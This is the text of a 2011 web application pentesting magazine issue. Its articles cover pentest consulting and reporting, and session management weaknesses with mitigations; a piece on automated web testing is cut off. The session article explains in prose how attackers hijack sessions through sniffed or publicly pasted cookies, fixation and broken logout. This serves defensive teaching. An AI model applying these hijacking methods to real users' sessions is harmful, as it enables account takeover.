Web Appc Pentesting 02 2011

T o D o L is t
nalyzing oftware ecurity tilizing isk valuation
Know your softwares pedigree. Get ASSURE .

Learn more about software security assurance by visiting or by calling +1 (678) 809-2100.
Scan code for more on the state of software security.
EDITORS NOTE
Dear readers before introducing you to the new issue of the magazine I would like to present you my idea of combining Web Application Security problems with charity. I decided to publish charity advertising of few polish foundations that help others in need. When is Christmas time we are trying to stop thinking of our professional problems and start thinking of needs of our relatives. Why dont we start thinking of those who really need help? Please visit pages 46-52 and consider help to those who dont have warm home to spend Christmas in, who suffer hunger when our tables are full of delicious food, who sleep alone in the shelter, or who spend their holidays in hospital. December issue of WebAppPentesting is devoted to four general parts. You will find first part of Herman Stevens biography. He shows us how he become Web Application Security Professional. This article is full of recommendations for newbies in WAS. More you can find on pages 6-10. Go to pages 12-16 to read Rishi Narang article about the difficulties of Web Session Management process of keeping track of a users activity across multiple connections or interactions with the machine. Great part of the WebAppPentesting is devoted to Security matters. From pagetesting, through passwords and Cyber Security War to Web Application Security Preservation and Hacking. First two articles A chance to ease automated Web Site testing by Marek Zachara (pages 18-22), and Passwords considered harmful, yesterday by Neil Matatal (pages 2427) are showing us all aspects of security, all precautions we should use to be safe in Internet and to sleep safe. This topics of safety is fullfiled by Sebastien Bischof and Jean-Marc Bost in the article of E-banking security (pages 3845). All articles are very interesting and they need to be marked as Need to be Read! As always! Thank the Beta Testers and Proofreaders for their excellent work and dedication to help make this magazine even better. Special thanks to all authors that help me create this issue. I would like to mention some supporters this time and thank Jeff Weaver, Daniel Wood, Edward Wierzyn, Juan-Guido Garavaglia, Rishi Narang, Jonathan Ringler for their invaluable help. They work really hard to get magazine out for you to read. I also would like to thank all of other helpers for their contribution to the magazine. The last but not least I would like to to present you a book by Mike Brennan and Gian Detorre Cyber Styletto. From December we are going to publish chapter by chapter the novel in WAPT. If you are curious what happens with Yvonne Tran, you can also receive voucher for the e-book Cyber Styletto for only 99 cents! Just contact me. Enjoy reading new Web App Pentesting! Katarzyna Zwierowicz & Pentest team
Web App Pentesting for Charity
WEB APP SECURITY FOR NEWBIES
06
Web Application Security for Newbies part 1

By Herman Stevens
Herman introduces us to the world of hacking and web appliaction security. He shows us his own biography as a hacker and professional, as he mention: Lets face it: hackers like to take things apart to see how they work and find it challenging to find other, completely different uses other than their intended purpose. What are his first conclusions, and what he recomends for newbies you will know reading this briliant article.
WEB SESSION MANAGEMENT
12
Web Session Management reality is a nightmare!

By Rishi Narang
Session Management is fundamentally a process of keeping track of a users activity across multiple connections or interactions with the machine. Rishi Narang shows checklist of precautions for developers to follow as a benchmark option for web applications. He claims that: A pentester can keep such a checklist as a benchmark option for web applications, but remember: the checklist alone is not enough. It is always necessary and expected from a pentester to be effective in impromptu situations and bring something out of the box.
SECURITY PAGETESTING
Testing a web application is a tedious task. Also, the requirements for a perfect tester are almost impossible to meet. Such person should be thorough, resistant to boredom of numerous repetitions and yet creative to invent new testing scenarios maintains author. Software in general, and web applications in particular are constantly growing in size and complexity. It seems that a general trend in software is to increasingly utilize heuristics, AI, fuzzy logic and similar methods, so a strict control on the software behavior is being sacrificed for the benefit of functionality, easier development and new areas of use.
18
A chance to ease automated Web Site testing

By Marek Zachara
SECURITY PASSWORDS
Neil Matatal begins his article with the statement that: Security is one of the hottest topics today in both technology and everyday life. Isnt it? Traditionally, passwords are the weakest link in the security program. Passwords are a problem. Today where passwords are used in more situations than ever.The safe passwords are one of the most important things in protection of our bank accounts, emails or even social media activities. What you should know about all aspects of the passwords protection you can find in this article.
24
Passwords considered harmful, yesterday

By Neil Matatal
SECURITY CYBER WAR
28
Cyber Security War ofensive vs defensive

By Jatin Jain
02/2011 (2) December
Page 3
http://pentestmag.com
CONTENTS
When we talk about IT industry we cannot ignored web threats or other related application and protection of defense technology is also challenging, the number of vulnerabilities being discovered in applications is far greater than the number of vulnerabilities discovered in networks notes author. More exploitation attempts are recorded on application programs. Various attacks from the web have become the biggest challenge and problem for the cyber security and its also becoming a worse day by day as new attacks or 0day comes in the market of hacking. Is Cyber Security War a real danger you will know after reading this article.
TEAM
Editor: Katarzyna Zwierowicz katarzyna.zwierowicz@software.com.pl Betatesters: Jeff Weaver, Daniel Wood, Edward Wierzyn, Davide Quarta Senior Consultant/Publisher: Pawe Marciniak CEO: Ewa Dudzic ewa.dudzic@software.com.pl Art Director: Ireneusz Pogroszewski ireneusz.pogroszewski@software.com.pl DTP: Ireneusz Pogroszewski Production Director: Andrzej Kuca andrzej.kuca@software.com.pl Marketing Director: Ewa Dudzic ewa.dudzic@software.com.pl Publisher: Software Press Sp. z o.o. SK 02-682 Warszawa, ul. Bokserska 1 Phone: 1 917 338 3631 www.pentestmag.com Whilst every effort has been made to ensure the high quality of the magazine, the editors make no warranty, express or implied, concerning the results of content usage. All trade marks presented in the magazine were used only for informative purposes. All rights to trade marks presented in the magazine are reserved by the companies which own them. To create graphs and diagrams we used program by
SECURITY PRESERVATION AND HACKING
36
Web Application Security Preservation and Hacking

By Priyanka Tomar
Are you sure that your web application is protected against cyber attacks? Is it possible for an attacker to get unauthorized access of your web application? Priyanka Tomar is trying to give us answers to this questions. As she says: I would like to focus on some of the major issues which need to be fixed while programming. Nowadays lots of automatic security audit tools are available in the market so it is better to use those tools however manual testing is a must for better and improved security. Is Secure Workstation the answer for the cyber attakcs? You will find the answer in this article.
E-BANKING SECURITY
38
E-banking ghosts
By Sebastien Bischof and Jean-Marc Bost
A TV show on the Swiss german TV channel SF1 followed a team from ETH who conducted a study on e-banking security. A few computer researchers from the renowned ETH polytechnicum in Zrich were challenged to evaluate the security measures in use on their e-banking sites. Result: they defeated all but one. The survivor (the winner) saved its reputation thanks to the systematic protection of every transaction in addition to the protection of the session. Authors are showing us risks of ebanking. Follow their article to know more.
WEB APP PENTESTING FOR CHARITY
Editor has decided in this particular holiday season to draw attention of her readers to the needs of others. On these pages you will find charity advertising of Polish foundations that help needy foster families, sick children, hungry and thirsty people, animals from shelters, or suffering from heart diseases.
Mathematical formulas created by Design Science MathType
CYBER STYLETTO
DISCLAIMER!
54
Novel Prologue and 1st Chapter
By Mike Brennan and Richard Stiennon Cyber Styletto
The techniques described in our articles may only be used in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.
We would like to introduce our dear readers to Prologue and 1st chapter of the new novel written by Mike Brennan and Gian Detorre.
Page 4
Web Application
Security for Newbies Part 1 Born this way
How did you become a hacker? is the number one question people ask me when they learn what I do for a living. This question does not have a short, or easy answer.
started my hacking life more than 40 years ago, by taking apart tube radios, modifying them to listen to distant stations on the short wave bands. In the process I re-utilized our clothesline and made it into a large radio antenna to my mothers dismay. Lets face it: hackers like to take things apart to see how they work and find it challenging to find other, completely different uses other than their intended purpose. This tinkering activity was soon followed by my first introduction into programming. The personal computer had not been invented yet (yes, I am that old), but Hewlett Packard and Texas Instruments introduced some fantastic programmable calculators. Schools and universities were very quick to forbid their use because they wanted students to learn how do the math other than just punch a few buttons on a calculator to get an answer. Of course, like all forbidden fruits, this only made them even more popular. I have very fond memories of wasting whole evenings by typing in hundreds of op-codes into a TI-58, to create a completely useless program that would calculate PI to an infinite numbers of digits. Fast forward a few years, and the wars between the ZX Spectrum and Commodore 64 computers, and later the Atari ST and the Amiga began. That started my rudimentary programming skills in Basic, on the rubbery keyboard of the ZX Spectrum, which
cascaded into a whole bunch of other programming languages on the Amiga (ARexx, Forth, Modula2, Pascal, Lattice C). The Internet was still only available in the deeper dungeons of the academic world, but people started to use modems to connect their computers to amateur networks, such as Fido or commercial offerings like CompuServe. I became a node in the worldwide Fidonet, where people from all over the world connected to my Amiga 500 BBS (Bulletin Board System) to exchange email, news and files. A few years later, was the birth of the commercial Internet. My humble Amiga e500 was the first nonacademic and non-corporate system on the Internet in Belgium. My first act at least one that can still be traced in Google groups on the Internet, was to start a flame war between Module2 and C language fans. I am afraid that most young people nowadays do not really understand how long all their Internet comments will be available for everyone to see. After the demise of Commodore, I switched to a PC and ran the BBS on Linux (the infamous Slackware distribution that took about 20 floppies to load usually one experienced a read error on the 20th disk). I finally made my hobby into my profession (first as developer, then as security consultant) and the rest is history. So, I believe that people are not made into hackers, but they are born that way. They like to break
Page 6
things, open them up, put them back together and learn as much as possible in the process, since they love new technologies and are very good in thinking out of the box. If you believe that you have the right attitude and these qualities, you might have the hackers mentality, but might still not know that much about web applications, and even less about how to hack them. You have stumbled to the right place and read the right magazine, because this is exactly what this series is about: How to hack a web application (when talking to your friends), or How to assess the security of critical web application (when talking to your customers).
background, and the knowledge that is needed to become a top consultant, or hacker, in this big application security space. This series starts from the assumption that you have the right mind set and are determined to learn as much about application security as there is to learn. With that attitude, anything goes and you will succeed. I also assume that you already have some basic networking and server knowledge and that you know some scripting and are not afraid to install applications and test tools.
Your Customer Does not Really Know What They Want
Knowledge is King
When you start working as a consultant, you soon learn that your customers do not pay you for what you know about a specific subject, but what you know about what works and what doesnt work. Although, (as a pentester or hacker) your technical skills are important, the real value is on how you translate that knowledge into something your customers will value. If you focus only on the technical part, you will be able to tell the customer about the vulnerabilities in their application, or how you hacked your way into their network, but you will be more valuable to them if you can tell them how to prevent it next time, or what went wrong at the management level. It is fine to know the technical faults, but if a fix would cost a million dollar and six months of additional testing, you need to have better advice to give to the customer other than, Fix this now! I have seen too many technical pen-test reports in the past, hammering hard on what was technically wrong with an application, but not provide any advice on how to fix it, apart from technical items. Your customer wants to know: What is the business risk? Is there a quick-fix available? Are there any mitigating measures? What can I do to prevent this from happening again? How much will it cost and what is the timing?
Working as a professional, you should always keep in mind what the customer really wants. Your report and information are the only things that are important: that is what the customer is paying for. Of course, your report should respond to what the customer wanted you to execute. Unfortunately, the problem is, what your customer asks you to do, might not be what they really wants you to do, or need for you to do. Let me explain that further. A standard, such as the Payment Card Industry (PCI) standard, requires pen-testing (at network and application level) and vulnerability assessments. Unfortunately, no further definitions are given. Leaving out source code review, there are two main types of possible assessments: a pen-test: the goal is to exploit a vulnerability (or multiple vulnerabilities) and gain access to an application or data (the target); a vulnerability assessment: the goal is to list as many vulnerabilities as possible, and provide an educated estimate of the vulnerability level, if this is considered a high, medium or low risk.
This series will, not only give a good introduction on the technical side, but will also work on the people, reporting and presentation skills. Dont worry, this will not become a boring theoretical series there will be plenty of technical information as well. This series will provide you with knowledge on application security assessments, the tools, skills,
There is no generally accepted definition about what is a pen-test, or what is a vulnerability assessment and there is even more confusion on what constitutes a proper assessment or pen-test. (Note: The above definitions are mine.) Many of my customers will ask for a pen-test, but if you ask them about it, what they really want is a vulnerability assessment. Talk to your customer, and give them the best choice based on their security objectives. If you need some arguments about what is the best type of assessment, try not to hit them with a bunch of marketing material, but give them independent and unbiased advice (customers have a long memory and will appreciate that) and refer your customer to this publication:
Page 7

Based on a case study of two web-based electronic health care record systems the paper, One Technique is Not Enough: A comparison of Vulnerability Discovery Techniques (available from http://andrew-austin.com/papers/esem2011.pdf note that their penetration test is in reality a vulnerability assessment) comes to the following conclusions: no single technique discovered every type of vulnerability; static analysis found the most implementation bugs; systematic manual penetration testing found the most design flaws; the most effective technique (measured in vulnerabilities discovered per hour) was automated penetration testing); if one has limited time, one should conduct automated penetration testing to discover implementation bugs and systematic manual penetration testing to discover design flaws. A largely manual assessment based on the deep knowledge of the consultant, will take many days and needs a senior consultant.
Guess what methodology is the cheapest and was offered by your competitors? Note that all methodologies might have there benefits and be the best offer for the customer in certain circumstances. However, you definitely do not want to loose a project because of one of your competitors offered the easy solution. What to do? Make it very clear to your customer about what your propose and what the advantages are: Use the descriptions and tests as defined in the OWASP ASVS (Application Security Verification Standard standard https://www.owasp.org). The ASVS defines four levels of application-level security verification for Web applications. Each level described in ASVS includes a set of requirements for verifying the effectiveness of security controls that protect Web applications. The lowest level is the tool-based level. Use a standard methodology based on the OWASP Testing Guide: this is a very detailed guide, explaining step-by-step what needs to be tested in a typical web application vulnerability assessment. You might want to start reading this guide, since in the next part of the series we will use that as a background. The guide (updated in 2008) is already a bit outdated, but remains a very solid basis for anyone starting in application security. Some requirements just cannot be assessed by a tool.
Of course, if the customer needs a specific kind of assessment because of compliance requirements, they really do not have a choice. This series will focus on an vulnerability assessments at the application level, but even as a dedicated pentester, you must first find a vulnerability. I will offer plenty of interesting material on how to improve your skills.
Your Competitors will Muddy the Waters
You have talked to your customer about their needs, or read their detailed Request for Proposal and wrote a brilliant quote that answered all of their requirements. Surely, you think, you will win this project! A few weeks you anxiously call the customer for news, only to find out that they awarded the project to one of your competitors. Asking for a reason, the customer explained that your quote was twice the price of the cheapest one. Impossible! You have the best experience, the best consultants and the best methodology. What went wrong? Unfortunately, there are many ways to execute a vulnerability assessment and your competitors were able to offer a lower price, because they have a different methodology: A fully automated scan, with nothing more than the automated report, takes less than day and my little sister can execute it; An automated scan, with a consultant deleting the false positives, takes less than a day, and a junior can do it;
What is This Thing called OWASP and Why Should I Care?
OWASP (the Open Web Application Security Project) is a not-for-profit, worldwide charitable organization focused on improving the security of application software. Its mission is to make application security visible, so that people and organizations can make informed decisions about true application security risks. Everyone is free to participate and all materials are available under a free and open software license. OWASP has local chapters with meetings all over the world. OWASP publishes many tools and guides related to application security. OWASP gained a lot of credibility when the Payment Card Industry (PCI) Data Security Standard (DSS) required that all applications in scope:
Page 8
Must comply with the secure coding guidelines of OWASP; Must protect against the OWASP top-10 of vulnerabilities or similar.
The U.S. Federal Trade Commission strongly recommends that all companies use the OWASP Top Ten and ensure that their partners do the same. In addition, the U.S. Defense Information Systems Agency has listed the OWASP Top Ten as key best practices that should be used as part of the Department of Defense Information Technology Security Certification and Accreditation Process. It is always easier to link your methodology to an established standard such as OWASP. If you have invented your own completely different methodology, you will lose an awful lot of time explaining the benefits of your approach to your potential customers.
Can the current employer detect if the one of his staff members is posting a resume? Can employers see what type of profiles the competitors are looking for, or what candidates they are approaching? Can confidential data be extracted by thirdparties who should not have access to it? A company responsible for air traffic control has extremely high availability demands, but could not care if data was leaked to the outside world (the information is mainly public).
The Report
A report is written at the end of an assignment. So, why is it in this first article of this series? Quite simple: the report is the one thing that your customers is paying you for. It is based on the expectations by the customer of the project and should not be taken lightly. Everything you will validate during the security tests will be done because it is needed in the final report. If the customer does not care about a specific security related risk, do not lose too much time performing tests to proof that they are vulnerable. An example: A multinational company offered an on-line job database, where candidates could leave their resume, and employers could search for good candidates. They really wanted to have a high level of confidentiality, but could accept a downtime of multiple days if confidentiality was in danger. In this case, test for confidentiality issues, such as:
Ask the question: What keeps you awake at night ? This is the number one item your tests should be investigating and focusing on. This is closely related to a risk rating (I prefer to give it the name of priority rating, since the term risk rating might have a different meaning depending on the type of the company or the risk-appetite of that same company). Refer to Table 1, for an example. Note that this table must be modified for each assignment. Issues with a high priority rating should be tackled first. Do not use an overly complex classification. This is very often used by companies to give the impression that their measurements are very exact and are based on solid research. Usually they are not, and you definitely do not want to be involved in discussions like, This issue is rated 63.4. Do we need to implement the fix immediately, or can we wait six months, as with this 60.1 rated issue? The report should also include: A management summary detailing the business risks and recommendations and it should not contain any technical details and jargon, but should explain exactly what harm an adversary can do. A technical section providing an overview of all issues, classified according to the priority rating.
Table 1. Example priority rating for detected issues
Priority Rating
Critical Issues leading to an attacker gaining administrative rights on the application or gaining access to other parts of the back-end infrastructure Issues enabling an authentication or authorization bypass a denial-of-service (DOS) attack or a compliance issue. Condentiality related issues or issues that weaken the security posture of the application Issues with very low impact, generally deviations of best practices without immediate impact. Anything else detected that should be in the report, but is not a security issue.
High
Medium Low Informational
Page 9

Table 2. Typical content of a report
Web Application Vulnerability Report

Management Summary high level description of the scope and goal overview of critical and high priority rated items, described without any technical jargon recommended countermeasures: quick xes, temporary x, complex change, new application. Include an estimate (high, medium, low) of the costs and a recommended timing. Recommended process improvement to prevent the issue from happening again for audit, security, development and IT management detailed overview of scope and goal description of scoring method overview of tests executed detailed overview of each discovered issue
Technical Section
Be critical, but be correct: Peoples jobs may be at risk because what you write. For the management section, provide details on countermeasures, but remember: this is not only the fix at the application level, but maybe mitigating issues. An example: If the application has a weakness in the authentication system that allows an attacker to perform a brute-forcing attack, this might take a long time to fix. A temporary and mitigating measure might be to monitor the application to see if any brute-force efforts are happening or not. Table 2, provides an overview of items usually present in a management summary or a technical section of a vulnerability assessment report. For each discovered item, include the following information: the description, the possible impact, a proof of concept and the remediation steps. Keep your text short and to the point, and where necessary provide references to OWASP material (http://www.owasp.org), the Common Attack Pattern Enumeration and Classification (CAPEC http:// capec.mitre.org/) and the Common Weakness Enumeration (CWE http://cwe.mitre.org) in order to have a common language to discuss each item. The above recommendations should enable you to produce better reports than a report from a tool, and
focus on things that are interesting (and thus worth money) for your customer.
Conclusion
This was the first in our series. After reading this article, you should: Know the difference between a penetration test and a vulnerability assessment; Understand the goals of your customer and give him some unbiased advice; Be very clear in what you offer; Advise your customer on business risks and countermeasures; Know a bit or two about the OWASP Testing Guide and the OWASP ASVS standard; Know the contents of a quality report.
I hoped you like this article, next time we start with a technical overview of the HTTP protocol and the HTML standard, some often used tools and the first vulnerabilities for our report. In Information Technology, everything becomes a commodity. Do not become the next one. Make certain that you can do more than just pushing a button to start a tool. Read all about it next time!
HERMAN STEVENS
After a career of 15 years spanning many roles (developer, security product trainer, information security consultant, Payment Card Industry auditor, application security consultant) Herman Stevens, now works and lives in Singapore, where he is the director of his company Astyran Pte Ltd (http://www.astyran.com). Astyran specializes in application security, such as penetration tests, vulnerability assessments, secure code reviews, awareness training and security in the SDLC. Contact Herman by email (herman.steve ns@gmail.com) or visit his blog (http://blog.astyran.sg).
Web Session Management

Reality is a nightmare!
Session Management is fundamentally a process of keeping track of a users activity across multiple connections or interactions with the machine.
n web based applications, the primary protocol is HTTP which we all know is a stateless protocol. It means instead of relying on the established TCP connections for anything more than GET/POST request, we need a session management to make this stateless protocol support session states. On a broad spectrum following are the primary identifiers that support and/or manage the established session between the server and the client, Session ID Cookie Values/Parameters
Cookie transfers and information disclosure Session Expiration timelines Session handling when a user logs out
A browser can maintain the state information in an HTTP session with Cookies, URL rewriting, Codes (Challenge/Response), Hidden form fields (SessionID) etc. (Figure 1). In scope of this article, and real world scenarios, I will target the SessionID and Cookie parameters of different requests. Here are some ideal conditions and requirements for the web session management, and should always be thought upon before deploying a web application on the production servers, Figure 1. HTTP Sesion
02/2011 (2) December Page 12
Case Study Social Networking Portals
Here are some real world scenarios for social networking portals which are a nightmare to web based session management.
Cookie Transfer Channel
Figure 2. Traverse on an unencrypted channel
A pentester can look for these flaws and vulnerabilities while accessing such web application. It is very important to validate the session management in a critical application, as it can lead an attacker to gain control of a session even without having any information of the credentials. Once the basics of session management have been explained with real world examples, the article will also document the protection measures (or workarounds) to fix such kind of vulnerabilities.
We all are very well aware of the HTTPS channel which is being deployed for password and authentication measures. Whenever we authenticate, the password and the required credentials pass on the secure (SSL/ TLS) channels. But, after the authentication, the equally important cookies (session authentication validation) traverse on an unencrypted channel (Figure 2). It means, sniff the cookies and you have the session if it is not mapped to IP address, browser or any client side directives. In ideal conditions, the authentication cookie should always be sent on the encrypted channel (Figure 3). But, most of the social networking portals and even other web sites deliver the cookies on HTTP during some data exchange on the channel (Figure 2 and Figure 4).
Session Expiration Timelines
Disclaimer
This article may reflect certain flaws in some real world applications, but should not be considered as a vulnerability disclosure for the respective vendors. To protect the identity, I will mask the domains wherever necessary.
Session expiration is an important factor when it comes to session hijacking. Even though it also requires intermediate effort of sniffing the session cookies, but a brief search of cookies on any search engine, may sometimes direct you to the pages where the naive users have pasted their cookies to sort some technical issues in authentication. If the expiration is not on time, an attacker can get your session by importing such cookies. (Figure 4 and Figure 5) As we can see that in these popular social networking & dining websites, the cookies are not handled securely. There are expiration issues, transfer issues, and even cookie randomness issue (Figure 4). As shown in Figure 4, the cookie value is constant and this is a serious
Figure 3. Authentication cookie sent to encrypted channel
Page 13

issue. Every time the user logs in, the web application allots the same cookie value to the browser session. Session Enumeration Session Enumeration is possible when it is fairly easy to guess the session ids and it can be due to their sequential nature, or easy encryption policies. If an attacker can derive a session ID, he can impersonate as other users via valid sessions. Workaround It can be fixed by deploying powerful encryption algorithms, and randomness involved in session tokens. Session Fixation Session fixation is more of a social engineering attack where an attacker sends a URL with the target site and once they login, an attacker will get to know the Session ID they are using. This is possible when a session ID is imported via requests in URL parameters. So, a forged URL to the target website will allow the victim to set a session ID of attackers choice. Workaround It can be protected by issuing a new session ID when the user changes the authentication state, and by being more aware of not accepting any session ID that is not created by your application. b) Failure to clean up when the user logs out of the session:
Session Log Out
What happens when a user logs out? Ideally the cookie should also expire with session log out. But, it is evident that cookie still persists and is valid. On successive login, the web application allots a new cookie, but the old cookie is still valid till the date of its expiry. This is a serious security configuration issue. Any attacker if successfully manages to sniff the cookies, can hijack the session even if the user has logged out of his/her session.
Common Vulnerabilities
What if there are flaws in session management? What are the common vulnerabilities or a administrators nightmare? a) Failure to protect the session data
Session Manipulation
Session Manipulation is a very simple kind of attack in which an attacker can modify the parameters of the session via the cookies, and can send it back to the server. Workaround It can be protected by using encryption, and by limiting the amount of data sent to the client.
Figure 4. Cookie import
Figure 5. Cookie import
Page 14
Session Expiration
Session lifetime is very important and if not properly configured, it can lead an attacker to have a larger attack window to try different session based attacks. Workaround To protect this kind of vulnerability, de-authenticate sessions after a certain period of inactivity. Even a well configured application can force re-authentication, or re-issue of cookies on session time-outs.
Broken Logout
As evident from the examples above, it is very necessary for a session to close when a user logs out of the session. It is scary over public networks, or cyber caf! The regular steps of deleting the session cookie is not sufficient and nor closing the browser window. Workaround The basic protection against such vulnerabilities involves the invalidating the cookies, and session on logout so as any attacker importing the same cookies should not validate the session.
or 2-factor authentication. But if 2-factor is too much overhead for social networking or non ecommerce websites, re-auth can still be taken into account. This is effective in that it completely protects the operation against an attacker who has compromised the session management system, but does not know the password. However, this protection must be used judiciously, as every password entry provides an opportunity for the password to be captured if transferred on an unsecured HTTP channel or open untrusted public networks. One operation that must be protected in this way is the change password function. Without this protection, an attacker who has compromised session management can easily escalate this to knowing the password, i.e. full access.
Timeout and Logout
Generic Mitigations
Here are some generic mitigation checks that are independent of the application type, code and design:
Compartmentalization
Breaking the website down into separate compartments is a wise precaution. If done correctly, this means that flaws discovered in one compartment will not affect the security of any other. For example, a website may have a secure area for account administration and another logged in area which is a discussion forum. If a flaw were discovered in the forum software, the aim would be for this not to affect the security of account administration. Compartmentalization in this manner protects against web attacks like XSS. However, if the two compartments are running on the same server then it does not protect against back-end attacks, such as SQL injection or buffer overruns. Depending on the perceived threats it may be desirable to enforce further compartmentalization, e.g. separate physical hardware.
An important feature to provide is a reliable logout function. When the user selects this, they know that as long as their password was not captured, no further access will be allowed to their account. As previously discussed, a major motivation for using a session ID is so this can be invalidated at the server, rather than relying on the browser to remove the password from memory. Another common mitigation is to place a time limit on a session ID. Most bank websites have an inactivity timeout that invalidates a session ID after, say, 5 minutes of inactivity. This is a good idea, but I believe it is also important to have an absolute timeout, perhaps forcing re-authentication every four hours. If there is only an inactivity timeout, then an attacker who has stolen the session ID can keep it valid by making periodic requests.
IP Address Restrictions
Extra Authentication (Sensitive Operations)
In many applications some operations are particularly sensitive. For example, in a banking application the send money operation needs to be protecting most of all. One option to achieve this is to require extra authentication for the sensitive operation. The authentication could take any form re-authentication
An interesting way to defend session IDs is to restrict the session to an IP address. While IP address spoofing is possible, in practice it is very difficult to spoof a TCP connection from an arbitrary IP address. All the packets returned from the server will go to the proper IP address. Unless the attacker controls a network en-route, they will not be able to read these packets. To establish a TCP connection, the client must echo a 32-bit random number correctly to prove they are not spoofing. This raises the bar considerably for an attacker who has stolen a session ID. Unfortunately, there are legitimate reasons a user may change IP address during a session. It has long been accepted wisdom that although IP address restrictions are desirable for security, they cause too many problems for legitimate users to be used on production websites.
Page 15

References
http://www.westpoint.ltd.uk/advisories/Paul_Johnston_GSEC.pdf http://www.leviathansecurity.com/pdf/Web%20Session%20Management.pdf
Two main reasons for being a skeptic against IP restrictions, Some clients make several requests from one IP address, and then make several requests from a second, sometimes with a gap between the blocks of request. This suggests the end user is changing IP address, perhaps reconnecting their modem. Some clients make requests from multiple IP addresses in a small range, seemingly at random. This suggests that the ISP is using multiple, loadbalanced web proxies. When a user makes a web request, it may be routed through any one of these proxies, usually at random.
To prevent brute force password guessing, enforce a strong password policy, do not leak the existence of user names and implement some failed login limits.
A pentester can keep such a checklist as a benchmark option for web applications, but remember: the checklist alone is not enough. It is always necessary and expected from a pentester to be effective in impromptu situations and bring something out of the box.
Conclusion
Having looked at various vulnerabilities and mitigating steps, here is a conclusive summary of the possible workarounds.
Summary of Mitigations
We have now looked at all the major attacks against a session ID cookie login system. Various mitigations are available, some of which are appropriate for a moderate security site. Here is a checklist of precautions for developers to follow: Make the session ID a 128-bit cryptographically secure random number. This prevents anyone predicting or brute forcing the ID. Use the secure and HTTPOnly cookie options, to prevent theft through XSS and information leakage over non-SSL requests. Disable the TRACE/TRACK HTTP methods, to prevent HttpOnly being circumvented. Change session IDs at login time, or alternatively only issue them at that point. This prevents session fixation attacks. Ensure all requests that cause a data change on the server use a random authorization token, to prevent CSRF attacks. Provide a logout function that invalidates the session ID on the server. Put time limits on session IDs to reduce impact of theft both inactivity and absolute timeouts. Separate large sites into compartments, which use different domain names.
RISHI NARANG
Rishi Narang is currently working as Lead Vulnerability Research Engineer for Qualys Inc. He has about 7 years of experience which includes research on vulnerabilities, malware, protocol analysis, evolving attack vectors and signature development for network & host based IDS/IPS products. In the past, he has served as Senior Consultant at Deloitte & Touch and Security Researcher with Trend Micro. He holds a B.Tech degree in Information Technology, CEH and CCNA certications and has been a part of SuSE, Red Hat & Ethical Hacking trainings in different parts of the country. Among his key public disclosures, he has been responsible for LinkedIn vulnerability and rst Google Chrome exploit. He has been quoted by Reuters, Forbes, eWeek, CNET, InformationWeek, The Register and many other main stream media. He has been an author and advisor for Hakin9 and PenTest magazines. He has been a speaker at OWASP (Mumbai Chapter, India), Bangalore Cyber Security Summit and eSurakshit conference in India. He can be reached via Twitter (@rnarang) or rishi@wtfuzz.com.
Page 16
secureninja.com
Security+ CISSP CEH (Professional Hacking) v7.1 CAP (Certified Authorization Professional) CISA CISM CCNA Security CWNA CWSP DIACAP ECSA / LPT Dual Certification ECSP (Certified Secure Programmer) EDRP (Disaster Recovery Professional) CCE (Computer Forensics) CCNA Security CHFI ISSEP Cloud Security Digital Mobile Forensics SSCP Security+ Security Awareness Training And more
Forging IT Security Experts
Expert IT Security Training & Services
Free Hotel Offer on Select Boot Camps

Offers ends on Jan 31, 2012 Call 703-535-8600 and mention code: PentestNinja to secure your special rate.
Welcome Military Veterans Benefits & GI Bill Post 9/11 Approved WIA (Workforce Investment Act) Approved
www.secureninja.com
703 535 8600
Sign Up & Get Free Quiz Engine From cccure.org
A Chance
To Ease Automated Web Site Testing Do We Need Yet Another Language?
Lets face it. Testing a web application is a tedious task. Also, the requirements for a perfect tester are almost impossible to meet. Such person should be thorough, resistant to boredom of numerous repetitions and yet creative to invent new testing scenarios. It would be hard to justify saying such persons dont exist, yet they are extremely hard to find.
reative people tend to be bored easily, while seriously dependable personality often do not leave much space for creativeness. But we do have another resource that can be utilized for testing: computers. Computers running testing programs are almost ultimately focused on completing the requested routine as many times as needed. At the same time they posses almost negligible creativity when it comes to inventing new testing scenarios. Considering these factors, the choice seems quite obvious. We can utilize automated/computer testing for the routine part of the tests, while the testing team focuses on inventing new scenarios. This is indeed the setup the industry has implemented and has been carrying out for quite some time. Taking it a step further, there is a number of software development methodologies that implement so called test driven development . In these methodologies, automated tests gain additional focus, being prepared before the actual development of the target application takes place. Supposedly, this gives the application developers tools to instantly verify the results of their work, with the ultimate goal of improved overall quality of the produced software. Yet as usual, the real world proves to be more challenging that initially anticipated. Although automated tests are quite often used for testing core application functionality (as unit or functional tests), they are rarely implemented for testing the user interface (UI) level.
The primary reasons for that, being the complexity of the output and its volatility, both being addressed later on in this article. As a result, testing an application at the UI level, often referred to as beta testing is still mainly handled by human teams. This also applies to web applications security tests, which are performed usually by a dedicated group of security specialists, trying to provide the application with such data that will cause its malfunction, exposing a vulnerability (an illustrative simplification of course). Security testing is actually an amplified issue of the mundaneness vs creativity problem described above. While it often requires lot of knowledge, intelligence and cunning to come up with a certain set of parameter values that could break the application, there may also a lot of dull work involved, especially if the application logs the user out when it recognizes an attack attempt. In such case the tester needs to log in again and often go through a few forms until he gets to the point when the next attempt can be performed. And then rinse and repeat... often too many times. It would certainly help to automate at least part of the testing, e.g. inputting login data or clicking through web pages to get to the desired location. It would also be nice to have an automated system that could recognize whether while fuzzing [1] parameters, application entered some unusual state which may be identified as a change of the resultant web page. Unsurprisingly, there
Page 18
are quite a few tools already that have been developed to help with automated web testing. Some examples could be: Selenium [2], Watir [3] or Perl Mechanize [4]. They basically fall into two categories. The legacy approach is based on directly parsing of the HTTP data received from the server. This requires a lot of effort from the test team to utilize, since the average size of a web applications page is surprisingly big (see below). The most recent approach is based on simulating the behavior of user/browser, either providing set data for certain input fields or replying a list of actions performed in the browser (Selenium). Still we cannot really see a wide adoption of these. Why is it so? one may ask, especially considering the benefits of automated testing. Well, lets have a look at a single, yet quite typical scenario, or:
Why Is The Web Page Code So Large And Complex?
